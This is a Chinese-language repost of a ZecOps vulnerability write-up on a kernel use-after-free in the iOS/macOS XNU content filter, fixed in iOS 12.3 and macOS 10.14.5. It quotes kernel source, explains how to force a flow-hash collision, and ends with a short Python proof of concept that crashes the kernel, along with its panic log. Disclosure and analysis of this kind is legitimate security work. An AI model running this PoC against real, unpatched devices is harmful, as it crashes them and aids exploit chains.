记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

iOS/macOS内容过滤器内核UAF漏洞分析和概念证明

2019-05-26 12:25

概述

2019年5月13日,发布了iOS 12.3和macOS 10.14.5版本。该更新中,修复了ZecOps研究团队在2019年5月初独立发现的XNU内核中的Use-After-Free漏洞。然而,在撰写本文时,ZecOps团队并不清楚是否已经为该漏洞分配CVE编号,因为在我们正准备向Apple披露此漏洞的过程中,该漏洞就已经被修复。

基于ZecOps威胁情报,我们怀疑威胁行为者正在利用这一漏洞攻击移动设备管理(Mobile Device Management)用户。ZecOps正在持续开展调查,以确认这一点是否属实。作为预防措施,ZecOps建议用户将iOS或macOS设备更新为最新的软件版本。

一旦初始代码执行完成,这个强大的漏洞可以允许攻击者进行完整的设备接管。此外,可以从受监控设备上的沙箱中进程和应用程序实现此漏洞利用。

漏洞详细分析

网络扩展控制策略(NECP)已经在/bsd/net/necp.c中详细描述。

该模块的目标是允许客户端通过内核控制套接字链接,以创建高级别策略会话,这些会话被提取到控制、标记应用程序、套接字和IP层流量的低级别内核策略中。

从macOS 10.14和iOS 12版本开始,UDP支持包含添加到内容过滤器的垃圾收集(GC)线程。

/*
 * NECP FILTER CONTROL UNIT
 *
 * A user space filter agent uses the Network Extension Control Policy (NECP)
 * database to specify which TCP/IP sockets need to be filtered. The NECP
 * criteria may be based on a variety of properties like user ID or proc UUID.
 *
 * The NECP "filter control unit" is used by the socket content filter subsystem
 * to deliver the relevant TCP/IP content information to the appropriate
 * user space filter agent via its kernel control socket instance.
 * This works as follows:
 *
 * 1) The user space filter agent specifies an NECP filter control unit when
 *    in adds its filtering rules to the NECP database.
*/

函数cfil_sock_udp_get_flow首先查找本地地址/端口和远程地址/端口(laddr、lport、faddr、fport)组合的现有条目(下方代码示例中的Comment 1)。如果不存在已有条目,则会生成一个新的条目,并将其插入到cfentry_link的头部。

cfdb_only_entry指针将始终指向最新的条目(下方代码中的Comment 2)。

随后,cfil_info_alloc将分配一个新的cfil_info对象,该对象中包含唯一标识符cfil_sock_id,然后将cfil_info插入名为cfi_link的链表的尾部(下方代码中的Comment 3)。

struct cfil_hash_entry *
cfil_sock_udp_get_flow(struct socket *so, uint32_t filter_control_unit, bool outgoing, struct sockaddr *local, struct sockaddr *remote)
{
    ...
    // See if flow already exists.
    hash_entry = cfil_db_lookup_entry(so->so_cfil_db, local, remote);//Comment 1: Check for existing entry
    if (hash_entry != NULL) {
        return (hash_entry);
    }
 
    hash_entry = cfil_db_add_entry(so->so_cfil_db, local, remote);//Comment 2
    if (hash_entry == NULL) {
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to add entry");
        return (NULL);
    }
 
    if (cfil_info_alloc(so, hash_entry) == NULL || // Comment 3
        hash_entry->cfentry_cfil == NULL) {
        cfil_db_delete_entry(so->so_cfil_db, hash_entry);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to alloc cfil_info");
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
        return (NULL);
    }
    ...
}

GC线程每隔10秒唤醒一次,它会将过期套接字的sock_id添加到名为expired_array的列表中(下面代码中的Comment [a]),然后在另一个循环(Comment)中释放expired_array中的cfil_info。

cfil_info_udp_expire(void *v, wait_result_t w)
{
...
 
    TAILQ_FOREACH(cfil_info, &cfil_sock_head, cfi_link) {
        if (expired_count >= UDP_FLOW_GC_MAX_COUNT)
            break;
 
        if (IS_UDP(cfil_info->cfi_so)) {
            if (cfil_info_idle_timed_out(cfil_info, UDP_FLOW_GC_IDLE_TO, current_time) ||
                cfil_info_action_timed_out(cfil_info, UDP_FLOW_GC_ACTION_TO) ||
                cfil_info_buffer_threshold_exceeded(cfil_info)) {
                expired_array[expired_count] = cfil_info->cfi_sock_id;//[a]
                expired_count++;
            }
        }
    }
    cfil_rw_unlock_shared(&cfil_lck_rw);
 
    if (expired_count == 0)
        goto go_sleep;
 
    for (uint32_t i = 0; i < expired_count; i++) {
 
        // Search for socket (UDP only and lock so)
        so = cfil_socket_from_sock_id(expired_array[i], true);//[b]
        if (so == NULL) {
            continue;
        }
 
        cfil_info = cfil_db_get_cfil_info(so->so_cfil_db, expired_array[i]);
...
        cfil_db_delete_entry(db, hash_entry);
        cfil_info_free(cfil_info);//
...
}

cfdb_only_entry应该在函数cfil_db_delete_entry中设置为NULL。然而,db->cfdb_only_entry = NULL;(第25行)永远不会执行。

1.png

我们仔细查看cfil_db_get_cfil_info函数,当只剩下一个条目(快捷路径)时,将执行不同的路径,以获得更好的性能。

struct cfil_info *
cfil_db_get_cfil_info(struct cfil_db *db, cfil_sock_id_t id)
{
    struct cfil_hash_entry *hash_entry = NULL;
 
    ...
 
    // This is an optimization for connected UDP socket which only has one flow.
    // No need to do the hash lookup.
    if (db->cfdb_count == 1) { //fast path
        if (db->cfdb_only_entry && db->cfdb_only_entry->cfentry_cfil &&
            db->cfdb_only_entry->cfentry_cfil->cfi_sock_id == id) {
            return (db->cfdb_only_entry->cfentry_cfil);
        }
    }
 
    hash_entry = cfil_db_lookup_entry_with_sockid(db, id);
    return (hash_entry != NULL ? hash_entry->cfentry_cfil : NULL);
}

如果两个不同的cfil_info对象具有相同的cfil_sock_id,则会发送以下流:

在第一个循环中,cfil_db_get_cfil_info返回entry2,这是cfentry_link的第一个元素,将在以后的执行过程中释放。

在第二个循环中,cfil_db_get_cfil_info进入快速路径,并返回由cfdb_only_entry指向的对象(即已释放的entry2)。因此,内核将在后续执行过程中,因Use-After-Free漏洞而发生崩溃(Panic)。

+--------------------+       +-----------------+
|   entry 2         <--------+ cfdb_only_entry |
+--------------------+       +-----------------+
|   entry 1          |
+--------------------+

漏洞复现过程

为了生成cfil_sock_id碰撞,我们首先需要知道如何构建cfil_sock_id。

cfi_sock_id由so_gencnt、faddr、laddr、fport和lport计算得到。

so_gencnt是套接字的生成计数,针对单个套接字,该值保持不变。较高的32位来自so_gencnt,而较低的32位是基于laddr、faddr、lport和fport的运算结果。

#define CFIL_HASH(laddr, faddr, lport, fport) ((faddr) ^ ((laddr) >> 16) ^ (fport) ^ (lport))
hashkey_faddr = entry->cfentry_faddr.addr46.ia46_addr4.s_addr;
hashkey_laddr = entry->cfentry_laddr.addr46.ia46_addr4.s_addr;
entry->cfentry_flowhash = CFIL_HASH(hashkey_laddr, hashkey_faddr,
                                entry->cfentry_lport,entry->cfentry_fport);
// This is the UDP case, cfil_info is tracked in per-socket hash
cfil_info->cfi_so = so;
hash_entry->cfentry_cfil = cfil_info;
cfil_info->cfi_hash_entry = hash_entry;
cfil_info->cfi_sock_id = ((so->so_gencnt << 32) | (hash_entry->cfentry_flowhash & 0xffffffff));
CFIL_LOG(LOG_DEBUG, "CFIL: UDP inp_flowhash %x so_gencnt %llx entry flowhash %x sockID %llx",
         inp->inp_flowhash, so->so_gencnt, hash_entry->cfentry_flowhash, cfil_info->cfi_sock_id);

发送两个相同的UDP请求,将只会生成一个cfil_info对象,并且laddr、lport、faddr、fport中至少有一个值应该是不同的,因此在cfil_db_lookup_entry之后,函数cfil_sock_udp_get_flow不会立刻返回。

struct cfil_hash_entry *
cfil_db_lookup_entry(struct cfil_db *db, struct sockaddr *local, struct sockaddr *remote)
{
    ...
        if (nextentry->cfentry_lport == matchentry.cfentry_lport &&
            nextentry->cfentry_fport == matchentry.cfentry_fport &&
            nextentry->cfentry_laddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_laddr.addr46.ia46_addr4.s_addr &&
            nextentry->cfentry_faddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_faddr.addr46.ia46_addr4.s_addr) {
            return nextentry;
        }
    ...
}

总而言之,为了重现上述的崩溃(Panic),我们需要发送满足以下两个条件的UDP请求:

1. 具有相同的so_gencnt,也就是相同的套接字对象;

2. 具有相同的flowhash;

3. 具有不同的地址或端口。

通过构造特定的faddr、fport值,可以满足上述要求。

PoC部署环境

除非设备已经启用了MDM,否则在macOS上运行PoC可能不会生效。要触发此漏洞,设备应该满足以下条件:

1. 至少附加了一个内容过滤器(Content Filter);

2. 影响UDP请求的NECP策略被添加到NECP数据库;

3. 受影响的NECP策略和附加的内容过滤器具有相同的filter_control_unit。

cfil_sock_udp_handle_data(bool outgoing, struct socket *so,
                          struct sockaddr *local, struct sockaddr *remote,
                          struct mbuf *data, struct mbuf *control, uint32_t flags)
{
...
 
    if (cfil_active_count == 0) {//[a]
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP no active filter");
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_in_vain);
        return (error);
    }
    
    filter_control_unit = necp_socket_get_content_filter_control_unit(so);//[b]
    if (filter_control_unit == 0) {
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP failed to get control unit");
        return (error);
    }
...
    
    hash_entry = cfil_sock_udp_get_flow(so, filter_control_unit, outgoing, local, remote);
    if (hash_entry == NULL || hash_entry->cfentry_cfil == NULL) {
        CFIL_LOG(LOG_ERR, "CFIL: Falied to create UDP flow");
        return (EPIPE);
    }
...
}

默认情况下,内容过滤器不会被集火,我们需要手动添加它。具体而言,我们需要运行Apple的network-cmds cfilutil。需要注意的是,cfilutil不是预先安装的工具,我们可能需要从源代码对其进行编译。

由于[a]行的检查将通过,因此下面的命令将激活内容过滤器:

sudo cfilutil -u [control_unit]

Control_unit是一个整数值,应该与filter_control_unit中的NECP策略相同。

sudo cfilutil -u 100

概念证明(PoC)代码

PoC代码非常简单,只需要几行Python代码即可轻松实现。在运行PoC代码后,设备将在几秒钟后发生崩溃(Panic)。PoC中的地址和端口组合是不同的,同时它们具有相同的flowhashin内容过滤器:

# PoC - CVE-2019-XXXX by ZecOps Research Team ©
# © ZecOps.com - Find and Leverage Attacker’s Mistakes™
# Intended only for educational purposes
# Considered as confidential under NDA until responsible disclosure
# Not for sale, not for sharing, use at your own risk
 
import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = b'ZecOps'
address = ('192.168.1.5', 8080)
s.sendto(msg, address)
 
address = ('193.168.1.5', 7824)
s.sendto(msg, address)
s.close()

在执行PoC后,macOS上生成了以下崩溃(Panic)信息:

*** Panic Report ***
panic(cpu 0 caller 0xffffff800c014cae): Kernel trap at 0xffffff800c285638, type 13=general protection, registers:
CR0: 0x000000008001003b, CR2: 0x0000000108c06ab0, CR3: 0x000000000f375000, CR4: 0x00000000001606e0
RAX: 0xffffff80195b67d0, RBX: 0xffffff800cac6d90, RCX: 0x0100000100000000, RDX: 0x0000000100000000
RSP: 0xffffff8067563f60, RBP: 0xffffff8067563fa0, RSI: 0xffffff8067563c58, RDI: 0xffffff804660f000
R8:  0x0000001078d5b42a, R9:  0x0000000000000000, R10: 0xffffff8046610520, R11: 0x0000000000000000
R12: 0xc0ffee4fc790eb7a, R13: 0x0000000000000000, R14: 0xffffff801638cba0, R15: 0xffffff80195cee88
RFL: 0x0000000000010282, RIP: 0xffffff800c285638, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000108c06ab0, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0
 
Backtrace (CPU 0), Frame : Return Address
0xffffff800bd5d280 : 0xffffff800be8e46d
0xffffff800bd5d2d0 : 0xffffff800c025436
0xffffff800bd5d310 : 0xffffff800c014a62
0xffffff800bd5d380 : 0xffffff800be29ae0
0xffffff800bd5d3a0 : 0xffffff800be8db2b
0xffffff800bd5d4d0 : 0xffffff800be8d953
0xffffff800bd5d540 : 0xffffff800c014cae
0xffffff800bd5d6b0 : 0xffffff800be29ae0
0xffffff800bd5d6d0 : 0xffffff800c285638
0xffffff8067563fa0 : 0xffffff800be290ce
 
BSD process name corresponding to current thread: kernel_task

修复补丁

在安装macOS 10.14.5和iOS 12.3的补丁之后,db->cfdb_only_entry = NULL;(第18行)可以正确执行。

2.png

安全建议

ZecOps威胁取证团队建议用户应该将iOS设备更新到最新版本。这样一来,就可以有效防范此类漏洞利用,并使漏洞利用链无效。随之,在受影响的MDM设备上利用此漏洞的威胁参与者将失去持久性。在Apple iOS更新后,原本受影响的设备也将被淘汰。如果用户怀疑自己的设备受到此漏洞的攻击,可以与ZecOps联系。

目前,我们已经与全球领先的合作伙伴、经销商、分销商和创新安全团队开展合作,如果想要进一步了解我们的工作,可以与我们取得联系。

如果研究人员针对我们所做的漏洞研究、漏洞利用、数字取证和事件响应感兴趣,可以加入ZecOps Reverse Bounty计划。

本文翻译自:https://blog.zecops.com/vulnerabilities/analysis-and-poc-of-content-filter-kernel-use-after-free/如若转载,请注明原文地址: http://www.hackdig.com/05/hack-55117.htm
知识来源: https://www.4hou.com/system/18168.html

阅读:246441 | 评论:0 | 标签:系统安全 iOS 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“iOS/macOS内容过滤器内核UAF漏洞分析和概念证明”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云